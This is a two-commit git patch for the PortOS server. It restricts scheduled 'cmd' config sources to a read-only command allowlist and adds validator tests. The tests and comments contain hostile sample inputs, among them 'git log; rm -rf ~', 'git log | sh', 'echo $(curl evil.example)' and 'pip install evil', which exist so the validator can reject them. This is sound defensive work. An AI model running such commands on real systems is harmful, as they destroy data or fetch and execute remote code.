From 5ec12b50e85df476245ec6ac694e12bcf7389e1e Mon Sep 17 00:00:00 2001 From: Adam Eivy Date: Wed, 2 Sep 2026 05:11:08 +0000 Subject: [PATCH 1/2] security: restrict unattended Layered Intelligence cmd sources to read-only binaries (#5669) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A `cmd` custom source in an app's Layered Intelligence config is executed on the autonomous Engine-B schedule, with the PortOS process's privileges and no human watching. Its only defense was `validateCommand` — the allowlist built for the manual, operator-triggered command runner, which admits `npx`, `node`, `python`, `pip`, `curl`, `wget`, `go`, `cargo`, `make` and `brew`. None of those need a shell metacharacter to fetch and run arbitrary code (`npx `, `pip install `, `curl -o `), so the metacharacter filter was doing all the work and the binary allowlist almost none. The unattended lane now uses its own `UNATTENDED_READONLY_COMMANDS` allowlist — `git`, `gh`, `glab`, `ls`, `cat`, `head`, `tail`, `grep`, `find`, `wc`, `pwd`, `echo` — which covers the documented purpose of a `cmd` source (read-only repository and tracker inspection) while removing every network-fetch and code-execution verb. Both validators share one parse + metacharacter body so the two gates can never disagree about anything but the allowlist. The operator-facing runner (`POST /api/commands/execute`) is unchanged, and the install-wide, off-by-default `settings.layeredIntelligence.trustShellSources` opt-in still restores full-shell behavior for operators who need a pipeline. Claude-Session: https://claude.ai/code/session_01GMxEz43s3YCLaVZV9KmVwE --- server/lib/README.md | 2 +- server/lib/commandSecurity.js | 57 ++++++++++++--- server/lib/commandSecurity.test.js | 69 +++++++++++++++++++ server/services/layeredIntelligence.test.js | 24 +++++++ .../services/layeredIntelligence/sources.js | 36 ++++++---- 5 files changed, 166 insertions(+), 22 deletions(-) diff --git a/server/lib/README.md b/server/lib/README.md index 885a9a2182..119b3f2e9c 100644 --- a/server/lib/README.md +++ b/server/lib/README.md @@ -269,7 +269,7 @@ The barrel `server/lib/index.js` is a machine-checkable enumeration of every pub | `setupScriptRunner.js` | `spawnSetupScript(envVars)` / `stopSetupScript(child)` / `SETUP_IMAGE_VIDEO_SCRIPT` — the one way to run `scripts/setup-image-video.sh` (shared by the Video Gen BYOV runtimes, the music engines and the MuScriptor venv). Runs it under `resolveBashBinary()` with a `toBashPath` script path, and on Windows presets the `PYTHON_BIN` the script would otherwise default to `python3` for. Cancel via `stopSetupScript`, which tree-kills so uv / pip / git die with bash. | | `commandExists.js` | `commandExists(cmd, args = ['--version'], { timeoutMs = 5_000, env, cwd })` — does running `cmd args` succeed? A capability probe (`execFile`-based), not a PATH lookup like `processEnv.js`'s `whichFirst`; `env`/`cwd` let a caller check the exact child process configuration. Consolidates the two previously-private copies in `localLlm.js`/`ollamaManager.js`; callers probing a heavier CLI (e.g. `codeReview.js`'s reviewer-binary probe) pass a longer `timeoutMs`. | | `spawnCwd.js` | `resolveSpawnCwd(workspacePath, fallbackRoot, label)` — resolves and **logs** the working directory a run/agent spawns into (expanding `~`), and throws when a workspace was requested but is missing / not a directory. Behind `services/runner.js#resolveRunCwd`, which turns that throw into a normal failed-run record for the two spawning runners. Stops a bad app `repoPath` from silently spawning in the PortOS checkout (#3180). `usesCreativeDirectorScratchCwd(task)` / `creativeDirectorScratchCwd(agentId)` / `removeCreativeDirectorScratchCwd(agentId)` / `resolveAgentCliCwd({ workspacePath, fallbackRoot, task, agentId })` — Creative Director no-worktree tasks get a per-agent scratch cwd under `os.tmpdir()/portos-cd-cwd/` (outside the PortOS git tree) instead of the PortOS root, so native CLI AGENTS.md / CLAUDE.md discovery cannot walk up into the repo (#4650). `removeCreativeDirectorScratchCwd` is the matching finalize cleanup. `withSpawnCwdEnv(env, cwd)` — returns a copy of `env` with `PWD` pinned to `cwd` (dropping stale case-variant keys), because `spawn({ cwd })` doesn't rewrite the inherited `PWD` and OpenCode resolves its project root as `process.env.PWD ?? process.cwd()` (#3193). Apply it at every spawn that names its own cwd — the shared wrappers (`bufferedSpawn`, `spawnDetached`) already do, so their callers inherit it. `spawnCwd.test.js` discovers cwd-passing spawns across `server/` and fails on any that neither pins nor is listed exempt. -| `commandSecurity.js` | Allowlist of safe shell commands + `validatePm2Command(args)` (rejects daemon-wide `pm2 kill`/`startup`/`unstartup` and ` all`). `validateCommand` runs the pm2 check for `pm2` base commands. Mirrored by the `agentGuard/` PATH shim for agentic paths. | +| `commandSecurity.js` | Two allowlists, one parser. `validateCommand(cmd)` gates the OPERATOR-driven runner against `ALLOWED_COMMANDS` (+ `validatePm2Command(args)`, which rejects daemon-wide `pm2 kill`/`startup`/`unstartup` and ` all`). `validateUnattendedCommand(cmd)` gates the UNATTENDED lane (Layered Intelligence `cmd` sources) against the far narrower `UNATTENDED_READONLY_COMMANDS` — read-only inspection binaries only, no `npx`/`node`/`python`/`pip`/`curl`/`wget`/`brew`, since those execute network code with no shell metacharacter. Both share one parse + `DANGEROUS_SHELL_CHARS` body. Mirrored by the `agentGuard/` PATH shim for agentic paths. | | `detachedSpawn.js` | `spawnDetached(bin, args, {controlDir,env,cwd,killProcessGroup?})` → ChildProcess-like handle for a long media job that SURVIVES `pm2 restart portos-server`. A pure-`sh` double-fork reparents the job to init (escaping pm2's PPID-based TreeKill — `detached:true` alone doesn't, since it only changes the process group); the server tails on-disk log files for `stdout`/`stderr`/`close`. Group-kill mode persists a marker so cancel, reattach, and orphan reaping terminate a group-leader wrapper plus every runtime child together. Windows has no double-fork (plain-spawn fallback), so its handle's `kill` delegates to `killProcessTree` (`taskkill /T /F`) — a cancel there takes the runner's children with it. Used by loraTraining + videoGen. Also exports `reattachDetached(controlDir)` / `isReattachable(controlDir)` to RE-ATTACH a survivor after a restart, `isDetachedRunning(controlDir, expectedProcess?)` with optional executable/argument validation for fixed-command control dirs, and `reapDetached` to checkpoint-kill one when re-attach isn't possible. | | `hostShutdown.js` | Tells "PortOS was restarted out from under a running agent" apart from "the agent failed" (#3202). `markHostShuttingDown()` / `isHostShuttingDown()` are the in-process latch the SIGTERM/SIGINT handler sets first thing; `shouldAbandonForHostShutdown({sentinelPresent,terminatedByUser,paused})` keeps every spawn path on the same preserve-vs-finalize policy. `writeHostShutdownMarker({agentIds,signal})` / `readHostShutdownMarker()` / `clearHostShutdownMarker()` persist that verdict to `data/cos/host-shutdown.json` so the NEXT boot's orphan sweep can requeue those agents as *interrupted* — no orphan-retry charge, no 30-minute cooldown. All non-throwing: a missing marker degrades to the ordinary orphan path. | | `execGit.js` | `execGit(args, cwd, options)` utility imported by `git.js` + worktree manager. `cwd` is REQUIRED — it rejects on a missing/blank one rather than letting `spawn` fall back to `process.cwd()` and run git against PortOS's own checkout (#4554). | diff --git a/server/lib/commandSecurity.js b/server/lib/commandSecurity.js index 91b993075b..dc4b922eba 100644 --- a/server/lib/commandSecurity.js +++ b/server/lib/commandSecurity.js @@ -15,6 +15,22 @@ export const ALLOWED_COMMANDS = new Set([ // Pre-sorted list for API responses export const ALLOWED_COMMANDS_SORTED = Array.from(ALLOWED_COMMANDS).sort(); +// Narrower allowlist for the UNATTENDED lane (Layered Intelligence `cmd` custom +// sources), which runs on a schedule with nobody watching. Read-only repository +// and tracker inspection is the entire documented purpose of a `cmd` source, so +// this list deliberately excludes every network-fetch and code-execution verb +// that ALLOWED_COMMANDS admits for the operator-driven runner (`npx`, `node`, +// `python`, `pip`, `curl`, `wget`, `go`, `cargo`, `make`, `brew`, `pm2`, …). +// `npx ` / `pip install ` / `curl -o ` contain no shell +// metacharacter, so the metacharacter filter alone does NOT stop them. +export const UNATTENDED_READONLY_COMMANDS = new Set([ + 'git', 'gh', 'glab', + 'ls', 'cat', 'head', 'tail', 'grep', 'find', 'wc', + 'pwd', 'echo' +]); + +const UNATTENDED_READONLY_COMMANDS_SORTED = Array.from(UNATTENDED_READONLY_COMMANDS).sort(); + // Shell metacharacters that could be used for command injection // Security: Reject any command containing these to prevent injection via pipes, chaining, etc. export const DANGEROUS_SHELL_CHARS = /[;|&`$(){}[\]<>\\!#*?~]/; @@ -78,10 +94,12 @@ export function validatePm2Command(args) { } /** - * Validate a command against the allowlist. + * Shared shape/metacharacter/allowlist gate. Both public validators route + * through this so the two lanes can never disagree about parsing or about + * which shell metacharacters are rejected — only the allowlist differs. * Returns { valid, error?, baseCommand?, args? } */ -export function validateCommand(command) { +function validateAgainst(command, allowlist, allowlistSorted) { if (!command || typeof command !== 'string') { return { valid: false, error: 'Command is required' }; } @@ -92,15 +110,38 @@ export function validateCommand(command) { } const parts = parseCommandArgs(trimmed); const baseCommand = parts[0]; - if (!ALLOWED_COMMANDS.has(baseCommand)) { - return { valid: false, error: `Command '${baseCommand}' is not in the allowlist. Allowed: ${ALLOWED_COMMANDS_SORTED.join(', ')}` }; + if (!allowlist.has(baseCommand)) { + return { valid: false, error: `Command '${baseCommand}' is not in the allowlist. Allowed: ${allowlistSorted.join(', ')}` }; } - const args = parts.slice(1); - if (baseCommand === 'pm2') { - const pm2Check = validatePm2Command(args); + return { valid: true, baseCommand, args: parts.slice(1) }; +} + +/** + * Validate a command against the operator-driven allowlist (the manual command + * runner, POST /api/commands/execute — a human triggers and watches each run). + * Returns { valid, error?, baseCommand?, args? } + */ +export function validateCommand(command) { + const check = validateAgainst(command, ALLOWED_COMMANDS, ALLOWED_COMMANDS_SORTED); + if (!check.valid) return check; + if (check.baseCommand === 'pm2') { + const pm2Check = validatePm2Command(check.args); if (!pm2Check.valid) return pm2Check; } - return { valid: true, baseCommand, args }; + return check; +} + +/** + * Validate a command for the UNATTENDED lane — a scheduled job executing a + * string that lives in persistent, attacker-reachable config with no human in + * the loop. Same parsing and metacharacter rules as `validateCommand`, but only + * `UNATTENDED_READONLY_COMMANDS` are admitted, so a config that lands `npx`, + * `curl` or `pip install` cannot reach a spawn. No pm2 sub-check is needed — + * pm2 is not on the list at all. + * Returns { valid, error?, baseCommand?, args? } + */ +export function validateUnattendedCommand(command) { + return validateAgainst(command, UNATTENDED_READONLY_COMMANDS, UNATTENDED_READONLY_COMMANDS_SORTED); } // Patterns matching sensitive env var values in command output diff --git a/server/lib/commandSecurity.test.js b/server/lib/commandSecurity.test.js index 4309a3b25b..cde5c94b88 100644 --- a/server/lib/commandSecurity.test.js +++ b/server/lib/commandSecurity.test.js @@ -4,6 +4,7 @@ import { ALLOWED_COMMANDS_SORTED, DANGEROUS_SHELL_CHARS, validateCommand, + validateUnattendedCommand, validatePm2Command, redactOutput, parseCommandArgs @@ -287,4 +288,72 @@ describe('commandSecurity', () => { expect(validatePm2Command(['delete', 'all']).valid).toBe(false) }) }) + + describe('validateUnattendedCommand (#5669)', () => { + // The unattended lane (Layered Intelligence `cmd` sources) runs persistent, + // attacker-reachable config on a schedule with nobody watching. Binaries that + // fetch and execute network code carry NO shell metacharacter, so the + // metacharacter filter alone does not stop them — the narrower allowlist must. + it.each([ + ['npx runs an arbitrary package straight off the network', 'npx some-package'], + ['curl writes an arbitrary file', 'curl https://example.com -o /tmp/x'], + ['pip install runs a setup script', 'pip install evil'], + ['pip3 install runs a setup script', 'pip3 install evil'], + ['node executes a script', 'node evil.js'], + ['python executes a script', 'python evil.py'], + ['wget downloads to disk', 'wget https://example.com/x'], + ['brew installs software', 'brew install evil'], + ['make runs a Makefile target', 'make install'], + ['npm runs lifecycle scripts', 'npm install'], + ['pm2 is not on the unattended list at all', 'pm2 list'], + ])('rejects %s', (_label, cmd) => { + const result = validateUnattendedCommand(cmd) + expect(result.valid).toBe(false) + expect(result.error).toMatch(/not in the allowlist/) + }) + + it.each([ + 'git log --oneline -20', + 'gh pr list', + 'glab mr list', + 'cat README.md', + 'head -n 20 README.md', + 'grep -rn TODO src', + 'wc -l README.md', + 'pwd', + ])('accepts read-only inspection command %s', (cmd) => { + expect(validateUnattendedCommand(cmd).valid).toBe(true) + }) + + it('parses args the same way as validateCommand', () => { + const result = validateUnattendedCommand('git commit -m "msg with spaces"') + expect(result.valid).toBe(true) + expect(result.baseCommand).toBe('git') + expect(result.args).toEqual(['commit', '-m', 'msg with spaces']) + }) + + it.each([ + 'git log | sh', + 'git log; rm -rf ~', + 'echo $(curl evil.example)', + ])('rejects shell metacharacters in %s', (cmd) => { + const result = validateUnattendedCommand(cmd) + expect(result.valid).toBe(false) + expect(result.error).toMatch(/disallowed shell characters/) + }) + + it.each([ + ['', 'Command is required'], + [' ', 'Command cannot be empty'], + ])('rejects blank input %j', (cmd, error) => { + expect(validateUnattendedCommand(cmd).error).toBe(error) + }) + + it('leaves the operator-facing runner untouched', () => { + // POST /api/commands/execute must behave identically — a human triggers it. + expect(validateCommand('npx vitest').valid).toBe(true) + expect(validateCommand('curl https://example.com').valid).toBe(true) + expect(validateCommand('pip install requests').valid).toBe(true) + }) + }) }) diff --git a/server/services/layeredIntelligence.test.js b/server/services/layeredIntelligence.test.js index 0bf1ca99b7..d6b5530e6e 100644 --- a/server/services/layeredIntelligence.test.js +++ b/server/services/layeredIntelligence.test.js @@ -2659,6 +2659,30 @@ describe('runShellCommand (restricted by default — #2515)', () => { // Full string handed to the shell verbatim (opt-in only). expect(exec).toHaveBeenCalledWith('git log --oneline | head', [], expect.objectContaining({ cwd: '/x', shell: true })); }); + + // #5669 — the unattended lane uses the narrow read-only allowlist, NOT the + // operator-facing one. These binaries pass `validateCommand` and carry no shell + // metacharacter, yet each fetches and/or runs arbitrary code on a schedule. + it.each([ + 'npx some-package', + 'node evil.js', + 'curl https://example.com -o /tmp/x', + 'pip install evil', + 'brew install evil', + ])('drops the operator-allowlisted-but-code-executing cmd source %j without spawning', async (cmd) => { + const exec = vi.fn(); + const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}); + expect(await runShellCommand(cmd, { cwd: '/x', exec })).toBeNull(); + expect(exec).not.toHaveBeenCalled(); + expect(warn).toHaveBeenCalledWith(expect.stringContaining('read-only inspection commands')); + warn.mockRestore(); + }); + + it('still runs an npx cmd source when trustShellSources is true', async () => { + const exec = vi.fn().mockResolvedValue({ code: 0, stdout: 'ran\n', stderr: '' }); + expect(await runShellCommand('npx some-package', { cwd: '/x', exec, trustShellSources: true })).toBe('ran'); + expect(exec).toHaveBeenCalledWith('npx some-package', [], expect.objectContaining({ cwd: '/x', shell: true })); + }); }); describe('getTrustShellSources (install-level opt-in — #2515)', () => { diff --git a/server/services/layeredIntelligence/sources.js b/server/services/layeredIntelligence/sources.js index 7d199acc08..017485e48d 100644 --- a/server/services/layeredIntelligence/sources.js +++ b/server/services/layeredIntelligence/sources.js @@ -12,7 +12,7 @@ import { realpath } from 'fs/promises'; import { tryReadFile, readJSONFile, PATHS } from '../../lib/fileUtils.js'; import { bufferedSpawn } from '../../lib/bufferedSpawn.js'; import { fetchPublicText } from '../../lib/safeUrlFetch.js'; -import { validateCommand } from '../../lib/commandSecurity.js'; +import { validateUnattendedCommand } from '../../lib/commandSecurity.js'; import { getSettings } from '../settings.js'; import { computeWindowedStats } from '../taskLearning/store.js'; import { computeChurn, summarizeRecentRuns, SHORT_LIVED_MS } from '../agentChurn.js'; @@ -505,19 +505,29 @@ export async function fetchHttpSource(url, { timeoutMs = 10_000, fetchText = fet * by length + a 15s timeout. That is arbitrary RCE: `; rm -rf ~`, `$(curl … | sh)`, * pipes to `sh`, etc. all execute. Issue #2515. * - * Defense: by default we DENY the shell. The command is parsed and checked - * against the shared binary allowlist (`validateCommand` in commandSecurity.js — - * same gate the manual command runner uses), which rejects shell metacharacters - * (`;|&$(){}` …) and any binary not on the allowlist, then we spawn the base + * Defense: by default we DENY the shell. The command is parsed and checked by + * `validateUnattendedCommand` (commandSecurity.js), which rejects shell + * metacharacters (`;|&$(){}` …) and admits only the read-only inspection + * binaries in `UNATTENDED_READONLY_COMMANDS` (`git`, `gh`, `glab`, `ls`, `cat`, + * `head`, `tail`, `grep`, `find`, `wc`, `pwd`, `echo`); then we spawn the base * binary with parsed args and `shell: false` — so no shell ever interprets the - * string. A non-allowlisted / metacharacter command is dropped (key omitted) with - * a warning, exactly like any other failed source read. + * string. A rejected command is dropped (key omitted) with a warning, exactly + * like any other failed source read. + * + * This lane deliberately does NOT use the operator-facing `validateCommand` + * allowlist. That one admits `npx`, `node`, `python`, `pip`, `curl`, `wget`, + * `go`, `cargo`, `make` and `brew` — every one of which fetches and/or executes + * arbitrary code without a single shell metacharacter (`npx `, + * `pip install `, `curl -o `), so the metacharacter filter + * would be doing all the work here. Fine for a run a human triggered and is + * watching; not fine for persistent config on an autonomous schedule. Issue #5669. * * Escape hatch: an operator who genuinely needs a pipeline (`git log … | head`) - * can set the install-level `settings.layeredIntelligence.trustShellSources` - * flag, which restores the full `shell: true` behavior for THIS install only. - * It is an explicit, install-wide opt-in — off by default — so a fresh install - * (or a synced-in app config) can never execute an un-allowlisted command. + * or a binary outside the read-only list can set the install-level + * `settings.layeredIntelligence.trustShellSources` flag, which restores the full + * `shell: true` behavior for THIS install only. It is an explicit, install-wide + * opt-in — off by default — so a fresh install (or a synced-in app config) can + * never execute anything but a read-only inspection command. * * `exec` is injectable for tests; `trustShellSources` is resolved by the caller * (`gatherSources`) from install settings and threaded in. @@ -533,9 +543,9 @@ export async function runShellCommand(cmd, { cwd, timeoutMs = 15_000, exec = buf if (code !== 0) return null; return (stdout || '').trim() || null; } - const check = validateCommand(cmd); + const check = validateUnattendedCommand(cmd); if (!check.valid) { - console.warn(`⚠️ Layered Intelligence: custom cmd source "${cmd}" rejected — ${check.error} (enable settings.layeredIntelligence.trustShellSources to allow arbitrary shell commands)`); + console.warn(`⚠️ Layered Intelligence: custom cmd source "${cmd}" rejected — ${check.error} (unattended sources are limited to read-only inspection commands; enable settings.layeredIntelligence.trustShellSources to allow arbitrary shell commands)`); return null; } const { code, stdout } = await exec(check.baseCommand, check.args, { cwd, timeoutMs, shell: false }); From d80f688d0156309f7ee8da8dd0106c2cf6639261 Mon Sep 17 00:00:00 2001 From: Adam Eivy Date: Wed, 2 Sep 2026 05:12:56 +0000 Subject: [PATCH 2/2] docs: state the binary-level scope of the unattended allowlist (#5669) Local review flagged that "read-only" overstates the gate: it admits binaries, not subcommands, so multi-purpose ones (`git commit`, `find -delete`, `gh api -X POST`) still pass. Record that scope in the allowlist comment rather than let the name imply more, and switch the parse-parity test example from `git commit` to `git log --grep` so it stops reading as an endorsement. No behavior change. Subcommand gating is tracked as follow-up work. Claude-Session: https://claude.ai/code/session_01GMxEz43s3YCLaVZV9KmVwE --- server/lib/commandSecurity.js | 7 +++++++ server/lib/commandSecurity.test.js | 4 ++-- 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/server/lib/commandSecurity.js b/server/lib/commandSecurity.js index dc4b922eba..71c8fb6c9d 100644 --- a/server/lib/commandSecurity.js +++ b/server/lib/commandSecurity.js @@ -23,6 +23,13 @@ export const ALLOWED_COMMANDS_SORTED = Array.from(ALLOWED_COMMANDS).sort(); // `python`, `pip`, `curl`, `wget`, `go`, `cargo`, `make`, `brew`, `pm2`, …). // `npx ` / `pip install ` / `curl -o ` contain no shell // metacharacter, so the metacharacter filter alone does NOT stop them. +// +// Scope: this gate is binary-level, not subcommand-level. Every admitted binary +// is one whose *documented* use here is inspection, but a few are multi-purpose +// (`git commit`, `find -delete`, `gh api -X POST`) and are NOT rejected. That is +// a deliberately smaller step than subcommand gating: it removes remote-code +// fetch/exec from the unattended lane, which is the class that turns hostile +// config into arbitrary RCE. Subcommand gating is tracked separately. export const UNATTENDED_READONLY_COMMANDS = new Set([ 'git', 'gh', 'glab', 'ls', 'cat', 'head', 'tail', 'grep', 'find', 'wc', diff --git a/server/lib/commandSecurity.test.js b/server/lib/commandSecurity.test.js index cde5c94b88..7d786224e2 100644 --- a/server/lib/commandSecurity.test.js +++ b/server/lib/commandSecurity.test.js @@ -326,10 +326,10 @@ describe('commandSecurity', () => { }) it('parses args the same way as validateCommand', () => { - const result = validateUnattendedCommand('git commit -m "msg with spaces"') + const result = validateUnattendedCommand('git log --grep "two words"') expect(result.valid).toBe(true) expect(result.baseCommand).toBe('git') - expect(result.args).toEqual(['commit', '-m', 'msg with spaces']) + expect(result.args).toEqual(['log', '--grep', 'two words']) }) it.each([